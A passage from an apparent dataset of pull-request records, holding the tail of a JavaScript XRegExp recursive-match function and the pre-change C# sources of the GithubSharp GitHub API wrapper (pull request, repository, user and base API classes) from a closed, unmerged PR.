escape character when using the multiline flag\");\n        escaped = XRegExp.escape(escapeChar);\n        /* Escape pattern modifiers:\n            /g - not needed here\n            /i - included\n            /m - **unsupported**, throws error\n            /s - handled by XRegExp when delimiters are provided as strings\n            /x - handled by XRegExp when delimiters are provided as strings\n            /y - not needed here; supported by other handling in this function\n        */\n        esc = new RegExp(\n            \"^(?:\" + escaped + \"[\\\\S\\\\s]|(?:(?!\" + left.source + \"|\" + right.source + \")[^\" + escaped + \"])+)+\",\n            ignoreCase ? \"i\" : \"\"\n        );\n    }\n\n    while (true) {\n        /* advance the starting search position to the end of the last delimiter match.\n           a couple special cases are also covered:\n            - if using an escape character, advance to the next delimiter's starting position,\n              skipping any escaped characters\n            - first time through, reset lastIndex in case delimiters were provided as regexes\n        */\n        left.lastIndex = right.lastIndex = delimEnd +\n            (escapeChar ? (esc.exec(str.slice(delimEnd)) || [\"\"])[0].length : 0);\n\n        leftMatch  = left.exec(str);\n        rightMatch = right.exec(str);\n\n        // only keep the result which matched earlier in the string\n        if (leftMatch && rightMatch) {\n            if (leftMatch.index <= rightMatch.index)\n                 rightMatch = null;\n            else leftMatch  = null;\n        }\n\n        /* paths*:\n        leftMatch | rightMatch | openTokens | result\n        1         | 0          | 1          | ...\n        1         | 0          | 0          | ...\n        0         | 1          | 1          | ...\n        0         | 1          | 0          | throw\n        0         | 0          | 1          | throw\n        0         | 0          | 0          | break\n        * - does not include the sticky mode special case\n          - the loop ends after the first completed match if not in global mode\n        */\n\n        if (leftMatch || rightMatch) {\n            delimStart = (leftMatch || rightMatch).index;\n            delimEnd   = (leftMatch ? left : right).lastIndex;\n        } else if (!openTokens) {\n            break;\n        }\n\n        if (sticky && !openTokens && delimStart > lastOuterEnd)\n            break;\n\n        if (leftMatch) {\n            if (!openTokens++) {\n                outerStart = delimStart;\n                innerStart = delimEnd;\n            }\n        } else if (rightMatch && openTokens) {\n            if (!--openTokens) {\n                if (vN) {\n                    if (vN[0] && outerStart > lastOuterEnd)\n                               output.push([vN[0], str.slice(lastOuterEnd, outerStart), lastOuterEnd, outerStart]);\n                    if (vN[1]) output.push([vN[1], str.slice(outerStart,   innerStart), outerStart,   innerStart]);\n                    if (vN[2]) output.push([vN[2], str.slice(innerStart,   delimStart), innerStart,   delimStart]);\n                    if (vN[3]) output.push([vN[3], str.slice(delimStart,   delimEnd),   delimStart,   delimEnd]);\n                } else {\n                    output.push(str.slice(innerStart, delimStart));\n                }\n                lastOuterEnd = delimEnd;\n                if (!global)\n                    break;\n            }\n        } else {\n            // reset lastIndex in case delimiters were provided as regexes\n            left.lastIndex = right.lastIndex = 0;\n            throw Error(\"subject data contains unbalanced delimiters\");\n        }\n\n        // if the delimiter matched an empty string, advance delimEnd to avoid an infinite loop\n        if (delimStart === delimEnd)\n            delimEnd++;\n    }\n\n    if (global && !sticky && vN && vN[0] && str.length > lastOuterEnd)\n        output.push([vN[0], str.slice(lastOuterEnd), lastOuterEnd, str.length]);\n\n    // reset lastIndex in case delimiters were provided as regexes\n    left.lastIndex = right.lastIndex = 0;\n\n    return output;\n};\n"}}
{"repo": "erikzaadi/GithubSharp", "pr_number": 11, "title": "DO NOT PULL ME IN!", "state": "closed", "merged_at": null, "additions": 61268, "deletions": 187, "files_changed": ["Core/API/PullRequest.cs", "Core/API/Repository.cs", "Core/API/User.cs", "Core/Base/BaseAPI.cs", "Core/Base/JsonConverter.cs", "Core/Base/Url.cs", "Core/GithubException.cs", "Core/GithubRequestWithInputAndReturnType.cs", "Core/GithubRequestWithReturnType.cs", "Core/Models/Internal/PullRequest.cs", "Core/Models/Internal/Repository.cs", "Core/Models/Internal/User.cs", "Core/Models/Repository.cs", "Core/Models/User.cs", "Samples/ConsoleSample/Program.cs", "Tests/CoreTests/Legacy/GistModelTest.cs", "Tests/CoreTests/Legacy/GithubRequestTest.cs", "Tests/CoreTests/Legacy/TestSettings.cs", "Tests/CoreTests/PullRequestFixture.cs", "Tests/CoreTests/RepositoryFixture.cs", "Tests/CoreTests/UserFixture.cs", "_UpgradeReport_Files/UpgradeReport.css"], "files_before": {"Core/API/PullRequest.cs": "\ufeffusing System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing GithubSharp.Core.Services;\nusing System.Collections.Specialized;\n\nnamespace GithubSharp.Core.API\n{\n    public class PullRequest : Base.BaseApi\n    {\n        public PullRequest(ICacheProvider CacheProvider, ILogProvider LogProvider) : base(CacheProvider, LogProvider) { }\n\n        public IEnumerable<Models.PullRequest> List(string Username, string RepositoryName)\n        {\n            return List(Username, RepositoryName, null);\n        }\n\n        public IEnumerable<Models.PullRequest> List(string Username, string RepositoryName, string State)\n        {\n            LogProvider.LogMessage(string.Format(\"PullRequest.List - {0} - {1} - {2}\", Username, RepositoryName, State));\n            var url = string.Format(\"pulls/{0}/{1}{2}\", Username, RepositoryName, string.IsNullOrEmpty(State) ? \"\" : \"/\" + State);\n            var result = ConsumeJsonUrl<Models.Internal.PullRequestCollection>(url);\n            return result == null ? null : result.PullRequests;\n        }\n\n        public Models.PullRequest GetById(string Username, string RepositoryName, string Id)\n        {\n            LogProvider.LogMessage(string.Format(\"PullRequest.GetById - {0} - {1} - {2}\", Username, RepositoryName, Id));\n            var url = string.Format(\"pulls/{0}/{1}/{2}\", Username, RepositoryName, Id);\n            var result = ConsumeJsonUrl<Models.Internal.PullRequestContainer>(url);\n            return result == null ? null : result.PullRequest;\n        }\n\n        public Models.PullRequest Create(string Username, string RepositoryName, string BaseRef, string HeadRef, string Title, string Body)\n        {\n            LogProvider.LogMessage(string.Format(\"PullRequest.Create - {0} - {1} - {2} - {3} - {4}\", Username, RepositoryName, BaseRef, HeadRef, Title));\n            if (string.IsNullOrEmpty(Username) || string.IsNullOrEmpty(RepositoryName) || string.IsNullOrEmpty(BaseRef) || string.IsNullOrEmpty(HeadRef) || string.IsNullOrEmpty(Title) || string.IsNullOrEmpty(Body))\n                return null;\n\n            var url = string.Format(\"pulls/{0}/{1}\", Username, RepositoryName);\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"pull[base]\", BaseRef);\n            formValues.Add(\"pull[head]\", HeadRef);\n            formValues.Add(\"pull[title]\", Title);\n            formValues.Add(\"pull[body]\", Body);\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PullRequestContainer>(url, formValues);\n\n            return result != null ? result.PullRequest : null;\n        }\n    }\n}\n", "Core/API/Repository.cs": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing GithubSharp.Core.Services;\nusing System.Collections.Specialized;\nusing GithubSharp.Core.Base;\n\nnamespace GithubSharp.Core.API\n{\n    public class Repository : Base.BaseApi\n    {\n        public Repository(ICacheProvider CacheProvider, ILogProvider LogProvider) : base(CacheProvider, LogProvider) { }\n\n        public IEnumerable<Models.RepositoryFromSearch> Search(string Search)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Search - '{0}'\", Search));\n\n            var url = string.Format(\"{0}{1}\",\n                \"repos/search/\",\n                Search);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryCollection<Models.RepositoryFromSearch>>(url);\n\n            return result == null ? null : result.Repositories;\n        }\n\n        public Models.Repository Get(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Get - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            var url = string.Format(\"{0}{1}/{2}\",\n                \"repos/show/\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public IEnumerable<Models.Repository> List(string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.List - Username : '{0}'\", Username));\n\n            var url = string.Format(\"{0}{1}\",\n                \"repos/show/\",\n                Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryCollection<Models.Repository>>(url);\n\n            return result == null ? null : result.Repositories;\n        }\n\n        public Models.Repository Watch(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Watch - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/watch/{0}/{1}\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public Models.Repository Unwatch(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Unwatch - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/unwatch/{0}/{1}\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public Models.Repository Fork(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Fork - Username : '{0}' , RepositoryName : '{1}'\", Username, RepositoryName));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/fork/{0}/{1}\",\n                Username,\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public Models.Repository Create(string RepositoryName, string Description, string HomePage, bool Public)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Create - RepositoryName : '{0}' , Description : '{1}' , HomePage : '{2}', Public : '{3}'\",\n                RepositoryName,\n                Description,\n                HomePage,\n                Public));\n\n            Authenticate();\n\n            var url = \"repos/create\";\n\n            var formValues = new NameValueCollection();\n            if (string.IsNullOrEmpty(RepositoryName))\n            {\n                var error = new NullReferenceException(\"RepositoryName was null or empty\");\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\n                    throw error;\n                return null;\n            }\n            formValues.Add(\"name\", RepositoryName);\n\n            if (!string.IsNullOrEmpty(Description))\n                formValues.Add(\"description\", Description);\n            if (!string.IsNullOrEmpty(HomePage))\n                formValues.Add(\"homepage\", HomePage);\n\n            formValues.Add(\"public\", (Public ? 1 : 0).ToString());\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.RepositoryContainer<Models.Repository>>(url, formValues);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public bool Delete(string RepositoryName)\n        {\n            LogProvider.LogMessage(\"Repository.Delete - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = \"repos/delete/\" + RepositoryName;\n\n            var result = ConsumeJsonUrlAndPostData<GithubSharp.Core.Models.Internal.RepositoryDelete>(url);\n\n            if (result == null)\n                return false;\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"delete_token\", result.DeleteToken);\n\n            var status = ConsumeJsonUrlAndPostData<GithubSharp.Core.Models.Internal.RepositoryDeleted>(url, formValues);\n\n            return status != null && status.Status == \"deleted\";\n        }\n\n        public Models.Repository SetVisibility(string RepositoryName, bool Visibility)\n        {\n            LogProvider.LogMessage(\"Repository.SetVisibility - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = string.Format(\"repos/set/{0}/{1}\",\n                Visibility ? \"public\" : \"private\",\n                RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryContainer<Models.Repository>>(url);\n\n            return result == null ? null : result.Repository;\n        }\n\n        public IEnumerable<Models.PublicKey> PublicKeys(string RepositoryName)\n        {\n            LogProvider.LogMessage(\"Repository.PublicKeys - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = string.Format(\"repos/keys/{0}\", RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url);\n\n            return result == null ? null : result.PublicKeys.ToArray();\n        }\n\n        public IEnumerable<Models.PublicKey> AddDeployKeys(string RepositoryName, string Title, string Key)\n        {\n            LogProvider.LogMessage(\"Repository.AddDeployKeys - RepositoryName : '{0}'\", RepositoryName);\n\n            Authenticate();\n\n            var url = string.Format(\"repos/keys/{0}/add\", RepositoryName);\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"title\", Title);\n            formValues.Add(\"key\", Key);\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\n\n            return result == null ? null : result.PublicKeys.ToArray();\n        }\n\n        public IEnumerable<Models.PublicKey> RemovePublicKey(string RepositoryName, int Id)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.RemovePublicKey - RepositoryName : '{0}' , id : '{1}' \", RepositoryName, Id));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/keys/{0}/remove\", RepositoryName);\n\n            var formValues = new NameValueCollection();\n            formValues.Add(\"id\", Id.ToString());\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\n\n            return result == null ? null : result.PublicKeys.ToArray();\n        }\n\n        public string[] GetCollaborators(string Username, string RepositoryName)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.GetCollaborators - RepositoryName : '{0}' , Username : '{1}'\", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{0}/{1}/collaborators\", Username, RepositoryName);\n\n            var result = ConsumeJsonUrl<Models.Internal.CollaboratorsCollection>(url);\n\n            return result == null ? null : result.Collaborators.ToArray();\n        }\n\n        public string[] AddCollaborator(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.AddCollaborator - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/collaborators/{0}/add/{1}\", RepositoryName, Username);\n\n            var formValues = new NameValueCollection();\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.CollaboratorsCollection>(url, formValues);\n\n            return result == null ? null : result.Collaborators.ToArray();\n        }\n\n        public string[] RemoveCollaborator(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.RemoveCollaborator - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            Authenticate();\n\n            var url = string.Format(\"repos/collaborators/{0}/remove/{1}\", RepositoryName, Username);\n\n            var formValues = new NameValueCollection();\n\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.CollaboratorsCollection>(url, formValues);\n\n            return result == null ? null : result.Collaborators.ToArray();\n        }\n\n        public IEnumerable<Models.Repository> Network(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Network - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/network\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryFromNetworkContainer>(url);\n\n            return result == null ? null : result.Network.ToArray();\n        }\n\n        public IEnumerable<Models.Language> LanguageBreakDown(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.LanguageBreakDown - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/languages\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.LanguagesCollection>(url);\n\n            return result == null ? null : result.Languages.ToList().Select(p => new Models.Language { Name = p.Key, CalculatedBytes = p.Value }).ToArray();\n        }\n\n        public IEnumerable<Models.TagOrBranch> Tags(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Tags - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/tags\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.TagCollection>(url);\n\n            return result == null ? null : result.Tags.Dict.ToList().Select(p => new Models.TagOrBranch { Name = p.Key, Sha = p.Value }).ToArray();\n        }\n\n        public Models.TagOrBranch[] Branches(string RepositoryName, string Username)\n        {\n            LogProvider.LogMessage(string.Format(\"Repository.Branches - RepositoryName : '{0}' , Username : '{1}' \", RepositoryName, Username));\n\n            var url = string.Format(\"repos/show/{1}/{0}/branches\", RepositoryName, Username);\n\n            var result = ConsumeJsonUrl<Models.Internal.BranchesCollection>(url);\n\n            return result == null ? null : result.Branches.Dict.Select(p => new Models.TagOrBranch { Name = p.Key, Sha = p.Value }).ToArray();\n        }\n    }\n}\n", "Core/API/User.cs": "using System;\r\nusing System.Collections.Generic;\r\nusing System.Linq;\r\nusing GithubSharp.Core.Services;\r\nusing System.Collections.Specialized;\r\n\r\nnamespace GithubSharp.Core.API\r\n{\r\n    public class User : Base.BaseApi\r\n    {\r\n        public User(ICacheProvider cacheProvider, ILogProvider logProvider) : base(cacheProvider, logProvider) { }\r\n        /// <summary>\r\n        /// Search for users\r\n        /// </summary>\r\n        /// <param name=\"search\">search string</param>\r\n        /// <returns>Stripped down details of the users</returns>\r\n        public IEnumerable<Models.UserInCollection> Search(string search)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Search - '{0}'\", search));\r\n            var url = string.Format(\"{0}{1}\",\r\n                \"user/search/\",\r\n                search);\r\n            var result = ConsumeJsonUrl<Models.Internal.UsersCollection<Models.UserInCollection>>(url);\r\n            return result == null ? null : result.Users;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Gets extended details for a user\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public Models.User Get(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Get - '{0}'\", Username));\r\n            var url = string.Format(\"{0}{1}\",\r\n               \"user/show/\",\r\n               Username);\r\n            var result = ConsumeJsonUrl<Models.Internal.UserContainer<Models.User>>(url);\r\n\r\n            return result == null ? null : result.User;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Gets extended details (including private information) for a user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        ///<returns></returns>\r\n        public Models.UserAuthenticated Get()\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Get (Authenticated) - '{0}'\", CurrentUsername));\r\n            Authenticate();\r\n            var url = string.Format(\"{0}{1}\",\r\n                \"user/show/\",\r\n                CurrentUsername);\r\n            var result = ConsumeJsonUrl<Models.Internal.UserContainer<Models.UserAuthenticated>>(url);\r\n\r\n            return result == null ? null : result.User;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Returns a list of followers (string array of user names)\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public string[] Followers(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Followers - '{0}'\", Username));\r\n            var url = string.Format(\"{0}{1}/followers\",\r\n              \"user/show/\",\r\n              Username);\r\n            var result = ConsumeJsonUrl<Models.Internal.UsersCollection<string>>(url);\r\n\r\n            return result == null ? null : result.Users.ToArray();\r\n        }\r\n\r\n\r\n        /// <summary>\r\n        /// Returns a list of watched repositories\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.Repository> WatchedRepositories(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.WatchedRepositories - '{0}'\", Username));\r\n            var url = string.Format(\"{0}{1}\",\r\n              \"repos/watched/\",\r\n              Username);\r\n            var result = ConsumeJsonUrl<Models.Internal.RepositoryCollection<Models.Repository>>(url);\r\n\r\n            return result == null ? null : result.Repositories;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Updates a users details\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Name\"></param>\r\n        /// <param name=\"Email\"></param>\r\n        /// <param name=\"Blog\"></param>\r\n        /// <param name=\"Company\"></param>\r\n        /// <param name=\"Location\"></param>\r\n        /// <returns></returns>\r\n        public Models.UserAuthenticated Update(\r\n            string Name,\r\n            string Email,\r\n            string Blog,\r\n            string Company,\r\n            string Location)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Update (Authenticated)\\nName: '{0}' Email : '{1}' Blog : '{2}' Company : '{3}' Location : '{4}'\",\r\n                Name,\r\n                Email,\r\n                Blog,\r\n                Company,\r\n                Location));\r\n\r\n            Authenticate();\r\n\r\n            var url = string.Format(\"user/show/{0}\", CurrentUsername);\r\n\r\n            var formValues = new NameValueCollection();\r\n\r\n            if (Name != null)//an empty string is ok\r\n                formValues.Add(\"name\", Name);\r\n            if (Email != null)//an empty string is ok\r\n                formValues.Add(\"email\", Email);\r\n            if (Blog != null)//an empty string is ok\r\n                formValues.Add(\"blog\", Blog);\r\n            if (Company != null)//an empty string is ok\r\n                formValues.Add(\"company\", Company);\r\n            if (Location != null)//an empty string is ok\r\n                formValues.Add(\"location\", Location);\r\n\r\n            if (formValues.Count == 0)\r\n            {\r\n                var error = new Exception(\"User.Update : At least one parameter needs to either be and empty string or with content, all parameters were null\");\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw error;\r\n\r\n                return null;\r\n            }\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.UserContainer<Models.UserAuthenticated>>(url, formValues);\r\n\r\n            return result == null ? null : result.User;\r\n        }\r\n\r\n        /// <summary>\r\n        /// Follow user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public string[] Follow(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.Follow - '{0}'\", Username));\r\n\r\n            Authenticate();\r\n\r\n            var url = string.Format(\"user/follow/{0}\", Username);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.UsersCollection<string>>(url);\r\n\r\n            return result == null ? null : result.Users.ToArray();\r\n        }\r\n\r\n\r\n        /// <summary>\r\n        /// UnFollow user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// \r\n        /// <para>Note: Does not work <see cref=\"http://github.com/develop/develop.github.com/issues#issue/39\"/></para>\r\n        /// </summary>\r\n        /// <param name=\"Username\"></param>\r\n        /// <returns></returns>\r\n        public string[] UnFollow(string Username)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.UnFollow - '{0}'\", Username));\r\n            Authenticate();\r\n\r\n            var url = string.Format(\"{0}{1}\",\r\n              \"user/unfollow/\",\r\n              Username);\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.UsersCollection<string>>(url);\r\n\r\n            return result == null ? null : result.Users.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// List all public keys\r\n        /// \r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.PublicKey> PublicKeys()\r\n        {\r\n            LogProvider.LogMessage(\"User.PublicKeys\");\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/keys\";\r\n\r\n            var result = ConsumeJsonUrl<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url);\r\n\r\n            return result == null ? null : result.PublicKeys.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Add a public key\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"PublicKey\"></param>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.PublicKey> AddPublicKey(Models.PublicKey PublicKey)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.AddPublicKey - Title : '{0}' Key : {1}\", PublicKey.Title, PublicKey.Id));\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/key/add\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"title\", PublicKey.Title);\r\n            formValues.Add(\"key\", PublicKey.Key);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\r\n\r\n            return result == null ? null : result.PublicKeys.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Removes a public key\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Id\"></param>\r\n        /// <returns></returns>\r\n        public IEnumerable<Models.PublicKey> RemovePublicKey(int Id)\r\n        {\r\n            LogProvider.LogMessage(string.Format(\"User.RemovePublicKey - id : '{0}' \", Id));\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/key/remove\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"id\", Id.ToString());\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.PublicKeyCollection<Models.PublicKey>>(url, formValues);\r\n\r\n            return result == null ? null : result.PublicKeys.ToArray();\r\n        }\r\n\r\n\r\n        /// <summary>\r\n        /// Gets all the emails active for the user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <returns></returns>\r\n        public string[] Emails()\r\n        {\r\n            LogProvider.LogMessage(\"User.Emails\");\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/emails\";\r\n\r\n            var result = ConsumeJsonUrl<Models.Internal.EmailCollection>(url);\r\n\r\n            return result == null ? null : result.Emails.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Adds an email to the user\r\n        ///<para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Email\"></param>\r\n        /// <returns></returns>\r\n        public string[] AddEmail(string Email)\r\n        {\r\n            LogProvider.LogMessage(\"User.AddEmail {0}\", Email);\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/email/add\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"email\", Email);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.EmailCollection>(url, formValues);\r\n\r\n            return result == null ? null : result.Emails.ToArray();\r\n        }\r\n\r\n        /// <summary>\r\n        /// Removes an email to the user\r\n        /// <para>Needs to bee authenticated (with a valid Github User)</para>\r\n        /// </summary>\r\n        /// <param name=\"Email\"></param>\r\n        /// <returns></returns>\r\n        public string[] RemoveEmail(string Email)\r\n        {\r\n            LogProvider.LogMessage(\"User.RemoveEmail {0}\", Email);\r\n\r\n            Authenticate();\r\n\r\n            var url = \"user/email/remove\";\r\n\r\n            var formValues = new NameValueCollection();\r\n            formValues.Add(\"email\", Email);\r\n\r\n            var result = ConsumeJsonUrlAndPostData<Models.Internal.EmailCollection>(url, formValues);\r\n\r\n            return result == null ? null : result.Emails.ToArray();\r\n        }\r\n    }\r\n}\r\n", "Core/Base/BaseAPI.cs": "using System;\r\nusing GithubSharp.Core.Services;\r\nusing System.Collections.Specialized;\r\n\r\nnamespace GithubSharp.Core.Base\r\n{\r\n    public class BaseApi : IBaseApi\r\n    {\r\n        public BaseApi(ICacheProvider cache, ILogProvider log)\r\n        {\r\n            CacheProvider = cache;\r\n            LogProvider = log;\r\n        }\r\n\r\n        private Models.GithubUser CurrentUser { get; set; }\r\n        private Url UrlConsumer\r\n        {\r\n            get { return _url ?? (_url = new Url(CacheProvider, LogProvider)); }\r\n        }\r\n        private Url _url;\r\n\r\n        public void Authenticate(Models.GithubUser User)\r\n        {\r\n            if (User == null)\r\n                LogProvider.LogMessage(\"Authenticate => Null user\");\r\n            else\r\n                LogProvider.LogMessage(\"Authenticate => Name : {0}, APIToken : {1}\", User.Name, User.APIToken);\r\n\r\n            CurrentUser = User;\r\n        }\r\n\r\n        public ICacheProvider CacheProvider { get; set; }\r\n        public ILogProvider LogProvider { get; set; }\r\n\r\n        internal byte[] ConsumeUrlToBinary(string Url)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.GetBinaryFromURL(url);\r\n        }\r\n\r\n        internal byte[] ConsumeUrlToBinaryAndPostData(string Url)\r\n        {\r\n            return ConsumeUrlToBinaryAndPostData(Url, new NameValueCollection());\r\n        }\r\n\r\n        internal byte[] ConsumeUrlToBinaryAndPostData(string Url, NameValueCollection FormValues)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.UploadValuesAndGetBinary(url, FormValues);\r\n        }\r\n\r\n        private string GetAuthenticatedUrl(string Url)\r\n        {\r\n            var url = string.Format(\"{0}{1}{2}\",\r\n                Url.StartsWith(\"http\") ? Url : UrlConsumer.GithubBaseURL,\r\n                Url.StartsWith(\"http\") ? \"\" : Url,\r\n                UrlConsumer.GithubAuthenticationQueryString(CurrentUser));\r\n            return url;\r\n        }\r\n\r\n        internal string ConsumeUrlToString(string Url)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.GetStringFromURL(url);\r\n        }\r\n\r\n        internal string ConsumeUrlToStringAndPostData(string Url)\r\n        {\r\n            return ConsumeUrlToStringAndPostData(Url, new NameValueCollection());\r\n        }\r\n\r\n        public string ConsumeUrlToStringAndPostData(string Url, NameValueCollection FormValues)\r\n        {\r\n            var url = GetAuthenticatedUrl(Url);\r\n\r\n            return UrlConsumer.UploadValuesAndGetString(url, FormValues);\r\n        }\r\n\r\n        public T ConsumeJsonUrl<T>(string Url) where T : class\r\n        {\r\n            var result = ConsumeUrlToString(Url);\r\n            if (result == null)\r\n                return null;\r\n            try\r\n            {\r\n                return JsonConverter.FromJson<T>(result);\r\n            }\r\n            catch (Exception error)\r\n            {\r\n                if (LogProvider.HandleAndReturnIfToThrowError(error))\r\n                    throw;\r\n                return null;\r\n            }\r\n        }\r\n\r\n        public T ConsumeJsonUrlAndPostData<T>(string Url) where T : class\r\n        {\r\n            return ConsumeJsonUrlAndPostData<T>(Url, new NameValueCollection());\r\n        }\r\n\r\n        public T ConsumeJsonUrlAndPostData<T>(string Url, NameValueCollection FormValues) where T : 